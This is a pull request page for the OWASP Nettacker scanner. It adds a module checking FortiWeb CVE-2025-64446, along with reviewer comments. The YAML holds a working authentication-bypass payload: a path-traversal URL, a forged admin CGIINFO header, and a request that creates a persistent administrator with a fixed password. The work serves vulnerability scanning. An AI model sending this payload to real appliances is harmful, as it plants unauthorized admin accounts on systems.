Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions docs/Modules.md
Original file line number Diff line number Diff line change
Expand Up @@ -203,6 +203,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
- '**exponent_cms_cve_2021_38751_vuln**' – check the target for Exponent CMS CVE-2021-38751
- '**f5_cve_2020_5902_vuln**' – check the target for F5 RCE CVE-2020-5902 vulnerability
- '**forgerock_am_cve_2021_35464_vuln**' – check the target for ForgeRock AM CVE-2021-35464
- '**fortiweb_auth_bypass_cve_2025_64446_vuln**' - check for FortiWeb authentication bypass vulnerability
- '**galera_webtemp_cve_2021_40960_vuln**' – check the target for Galera WebTemplate CVE-2021-40960
- '**grafana_cve_2021_43798_vuln**' – check the target for Grafana CVE-2021-43798 vulnerability
- '**graphql_vuln**' – check the target for exposed GraphQL introspection endpoint
Expand Down
1 change: 1 addition & 0 deletions nettacker/core/module.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ def __init__(
self.module_inputs[module_extra_args] = self.module_inputs["modules_extra_args"][
module_extra_args
]
self.module_inputs["scan_id"] = scan_id

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is not related to Fortiweb YAML. Please avoid modifying Nettacker core or CI/CD

@Aarush289 Aarush289 Feb 10, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am using the scan id in the module ,If I use a hard coded id to create the user then it may give false negatives while scanning the target multiple times because this scan creates a user at the target and if we try to create same user again then it might give error leading to false negatives and that's the reason I used scan id as user id

self.target = target

self.scan_id = scan_id
Expand Down
105 changes: 105 additions & 0 deletions nettacker/modules/vuln/fortiweb_auth_bypass_cve_2025_64446.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
info:
name: fortiweb_auth_bypass_cve_2025_64446_vuln
author: OWASP Nettacker Team
severity: 9.8
description: |
Fortinet FortiWeb versions prior to fixed releases are vulnerable to an
authentication bypass via relative path traversal, allowing unauthenticated
attackers to perform administrative actions through crafted API requests.

WARNING:
This module is intrusive and state-modifying. Successful exploitation
attempts to create an administrative user on the target system. Running
this module may leave persistent artifacts, trigger security alerts, or
modify the target configuration. Use only in authorized environments such
as controlled testing, incident response, or vulnerability validation.

reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64446
- https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
- https://github.com/rapid7/metasploit-framework/pull/20698
profiles:
- vuln

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Require opt-in before creating an administrator

When a user runs the broad --profile vuln scan, the exact profile-tag expansion in ArgParser silently includes this module, but normal scan startup does not display the warning in its description or request confirmation. A successful probe therefore creates a persistent administrator with a fixed password during what appears to be a routine vulnerability scan and provides no cleanup step; gate this state-changing payload behind explicit opt-in or confirmation rather than enrolling it directly in the general profile.

Useful? React with 👍 / 👎.

- http
- critical_severity
- cve
- cve2025
- fortiweb
- auth_bypass
- kev

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Use the established CISA KEV profile tag

Users selecting --profile cisa_kev will not run this known-exploited-vulnerability check because profile membership is matched by exact tag and this module uses the new one-off tag kev. Every existing KEV module in the parent tree uses cisa_kev (32 modules, with no pre-existing kev profile), so this instead creates a separate single-module profile and leaves FortiWeb out of the established KEV scan.

Useful? React with 👍 / 👎.


payloads:
- library: http
steps:
- method: post
timeout: 5
headers:
Content-Type: "application/json"
CGIINFO: "eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=="
data: |
{{
"data": {{
"q_type": 1,
"name": "nettacker{scan_id}",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Keep the generated administrator name within FortiWeb's limit

Every normal scan supplies a 32-character scan ID, so the nettacker prefix makes this administrator name 41 characters long. FortiWeb administrator names are limited to 35 characters, causing the create-admin request to be rejected on vulnerable appliances and producing a false negative even after the traversal URL is preserved; truncate the token or use a shorter prefix while retaining per-scan uniqueness.

Useful? React with 👍 / 👎.

"access-profile": "prof_admin",
Comment thread
coderabbitai[bot] marked this conversation as resolved.
"access-profile_val": "0",
"last-name": "",
"first-name": "",
"email-address": "",
"phone-number": "",
"mobile-number": "",
"hidden": 0,
"comments": "",
"sz_dashboard": -1,
"type": "local-user",
"type_val": "0",
"admin-usergrp_val": "0",
"wildcard_val": "0",
"accprofile-override_val": "0",
"sshkey": "",
"trusthostv4": "127.0.0.1/8",
"trusthostv6": "::1/128",
"passwd-set-time": 0,
"history-password-pos": 0,
"history-password0": "",
"history-password1": "",
"history-password2": "",
"history-password3": "",
"history-password4": "",
"history-password5": "",
"history-password6": "",
"history-password7": "",
"history-password8": "",
"history-password9": "",
"force-password-change": "disable",
"force-password-change_val": "0",
"password": "nettacker_pass123"
}}
}}
allow_redirects: false
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}{{paths}}"
prefix: ""
suffix: ""
interceptors:
Comment thread
Aarush289 marked this conversation as resolved.
data:
schema:
- "http"
- "https"
ports:
- 80
- 443
paths:
- "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"
Comment thread
coderabbitai[bot] marked this conversation as resolved.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Preserve the traversal path when sending the request

This literal path is normalized before transmission because HttpEngine passes the generated URL string directly to aiohttp, whose YARL URL handling resolves the ../../../../../ segments; for this value, the outgoing raw path becomes /cgi-bin/fwbcgi rather than the crafted /api/v2.0/... path required for the bypass. Consequently, the module cannot exercise CVE-2025-64446 and will report vulnerable FortiWeb targets as clean; construct the request URL with encoded-path preservation (for example, yarl.URL(url, encoded=True)) before invoking aiohttp.

Useful? React with 👍 / 👎.

response:
condition_type: and
conditions:
status_code:
regex: "200"
reverse: false
content:
regex: "(?s)(\"results\":).*?(\"can_clone\":)"
reverse: false

Comment thread
coderabbitai[bot] marked this conversation as resolved.
Loading